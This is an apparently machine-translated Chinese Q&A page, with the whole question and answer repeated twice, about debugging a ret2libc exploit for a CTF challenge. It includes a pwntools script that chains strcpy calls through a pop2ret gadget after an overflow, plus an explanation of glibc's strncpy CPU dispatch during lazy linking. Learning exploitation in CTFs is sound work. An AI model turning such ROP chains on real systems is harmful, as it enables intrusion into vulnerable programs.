ret2libc strcpy 不工作
ret2libc strcpy not working
我正在尝试解决一个 CTF 挑战,我需要使用 ret2libc。问题是,当我尝试使用 strcpy 将一些文本放入缓冲区以供以后使用时,它似乎不起作用。
挑战箱仍然容易受到 "ulimit -s unlimited" 的攻击,因此我们可以修复 libc 地址。这是我当前的 python 代码:
from pwn import *
def r2lc_print(write_buff,read_buff):
strcpy_addr=0x55607a40
pop2ret=0x55643876
return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)
buffer_size=172
execlp_addr=0x55643970
c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858
print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4
我通过在 gdb 中发出 "p strcpy" 得到了 strcpy 地址。
问题是 strcpy 似乎并不完整,因为指令或调用都没有进行任何数据移动:
0x55608320 <strncpy>: push ebx
0x55608321 <strncpy+1>: call 0x556b5c63
0x55608326 <strncpy+6>: add ebx,0x127cce
0x5560832c <strncpy+12>: cmp DWORD PTR [ebx+0x368c],0x0
0x55608333 <strncpy+19>: jne 0x5560833a <strncpy+26>
0x55608335 <strncpy+21>: call 0x555a48b0
0x5560833a <strncpy+26>: lea eax,[ebx-0x120e54]
0x55608340 <strncpy+32>: test DWORD PTR [ebx+0x36a0],0x4000000
0x5560834a <strncpy+42>: je 0x55608370 <strncpy+80>
0x5560834c <strncpy+44>: lea eax,[ebx-0x117f14]
0x55608352 <strncpy+50>: test DWORD PTR [ebx+0x36bc],0x10
0x5560835c <strncpy+60>: jne 0x55608370 <strncpy+80>
0x5560835e <strncpy+62>: test DWORD PTR [ebx+0x369c],0x200
0x55608368 <strncpy+72>: je 0x55608370 <strncpy+80>
0x5560836a <strncpy+74>: lea eax,[ebx-0x11f554]
0x55608370 <strncpy+80>: pop ebx
0x55608371 <strncpy+81>: ret
我 认为 您在 glibc 的 strncpy
符号处看到的代码在惰性动态链接期间执行运行时 CPU 分派。它看起来像 sysdeps/i386/i686/multiarch/strcpy.S
中的 asm。该文件被多次构建(通过 #include 进入其他文件),STRCPY 宏定义为 strcpy、strncpy 和其他可能。
我认为它只是 returns 应该使用的 str[n]cpy 版本的函数指针,调用它的动态链接器代码将该指针存储到 PLT 中,然后调用它。
如果你编译一个调用 strncpy 两次的小 C 程序,你可以单步进入第二次调用,惰性动态链接已经完成。
#include <string.h>
int main(int argc, char**argv) {
strncpy(argv[0], argv[1], 5);
strncpy(argv[1], argv[2], 5);
}
用gcc -m32 -Og foo.c -g
编译。
在 Ubuntu 15.10 的 libc-2.21.0.so 中,根据 gdb,PLT 跳转带您进入任何符号之外的函数。 (我将 set disassembly-flavor intel
和 layout reg
放入我的 ~/.gdbinit
中以获取 TUI 寄存器和 asm "windows"。)
>|0xf7e68fa0 push ebx |
|0xf7e68fa1 mov edx,DWORD PTR [esp+0x8] |
|0xf7e68fa5 mov ecx,DWORD PTR [esp+0xc] |
|0xf7e68fa9 mov ebx,DWORD PTR [esp+0x10] |
|0xf7e68fad cmp ebx,0x8 |
|0xf7e68fb0 jbe 0xf7e6ba40 |
|0xf7e68fb6 cmp BYTE PTR [ecx],0x0 |
|0xf7e68fb9 je 0xf7e6aef0 |
|0xf7e68fbf cmp BYTE PTR [ecx+0x1],0x0 |
|0xf7e68fc3 je 0xf7e6af10 |
...最终是 movaps / pcmpeqb / pmovmskb 循环。此函数是真正的 strncpy 实现,不会分派给其他任何东西。
我正在尝试解决一个 CTF 挑战,我需要使用 ret2libc。问题是,当我尝试使用 strcpy 将一些文本放入缓冲区以供以后使用时,它似乎不起作用。 挑战箱仍然容易受到 "ulimit -s unlimited" 的攻击,因此我们可以修复 libc 地址。这是我当前的 python 代码:
from pwn import *
def r2lc_print(write_buff,read_buff):
strcpy_addr=0x55607a40
pop2ret=0x55643876
return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)
buffer_size=172
execlp_addr=0x55643970
c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858
print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4
我通过在 gdb 中发出 "p strcpy" 得到了 strcpy 地址。
问题是 strcpy 似乎并不完整,因为指令或调用都没有进行任何数据移动:
0x55608320 <strncpy>: push ebx
0x55608321 <strncpy+1>: call 0x556b5c63
0x55608326 <strncpy+6>: add ebx,0x127cce
0x5560832c <strncpy+12>: cmp DWORD PTR [ebx+0x368c],0x0
0x55608333 <strncpy+19>: jne 0x5560833a <strncpy+26>
0x55608335 <strncpy+21>: call 0x555a48b0
0x5560833a <strncpy+26>: lea eax,[ebx-0x120e54]
0x55608340 <strncpy+32>: test DWORD PTR [ebx+0x36a0],0x4000000
0x5560834a <strncpy+42>: je 0x55608370 <strncpy+80>
0x5560834c <strncpy+44>: lea eax,[ebx-0x117f14]
0x55608352 <strncpy+50>: test DWORD PTR [ebx+0x36bc],0x10
0x5560835c <strncpy+60>: jne 0x55608370 <strncpy+80>
0x5560835e <strncpy+62>: test DWORD PTR [ebx+0x369c],0x200
0x55608368 <strncpy+72>: je 0x55608370 <strncpy+80>
0x5560836a <strncpy+74>: lea eax,[ebx-0x11f554]
0x55608370 <strncpy+80>: pop ebx
0x55608371 <strncpy+81>: ret
我 认为 您在 glibc 的 strncpy
符号处看到的代码在惰性动态链接期间执行运行时 CPU 分派。它看起来像 sysdeps/i386/i686/multiarch/strcpy.S
中的 asm。该文件被多次构建(通过 #include 进入其他文件),STRCPY 宏定义为 strcpy、strncpy 和其他可能。
我认为它只是 returns 应该使用的 str[n]cpy 版本的函数指针,调用它的动态链接器代码将该指针存储到 PLT 中,然后调用它。
如果你编译一个调用 strncpy 两次的小 C 程序,你可以单步进入第二次调用,惰性动态链接已经完成。
#include <string.h>
int main(int argc, char**argv) {
strncpy(argv[0], argv[1], 5);
strncpy(argv[1], argv[2], 5);
}
用gcc -m32 -Og foo.c -g
编译。
在 Ubuntu 15.10 的 libc-2.21.0.so 中,根据 gdb,PLT 跳转带您进入任何符号之外的函数。 (我将 set disassembly-flavor intel
和 layout reg
放入我的 ~/.gdbinit
中以获取 TUI 寄存器和 asm "windows"。)
>|0xf7e68fa0 push ebx |
|0xf7e68fa1 mov edx,DWORD PTR [esp+0x8] |
|0xf7e68fa5 mov ecx,DWORD PTR [esp+0xc] |
|0xf7e68fa9 mov ebx,DWORD PTR [esp+0x10] |
|0xf7e68fad cmp ebx,0x8 |
|0xf7e68fb0 jbe 0xf7e6ba40 |
|0xf7e68fb6 cmp BYTE PTR [ecx],0x0 |
|0xf7e68fb9 je 0xf7e6aef0 |
|0xf7e68fbf cmp BYTE PTR [ecx+0x1],0x0 |
|0xf7e68fc3 je 0xf7e6af10 |
...最终是 movaps / pcmpeqb / pmovmskb 循环。此函数是真正的 strncpy 实现,不会分派给其他任何东西。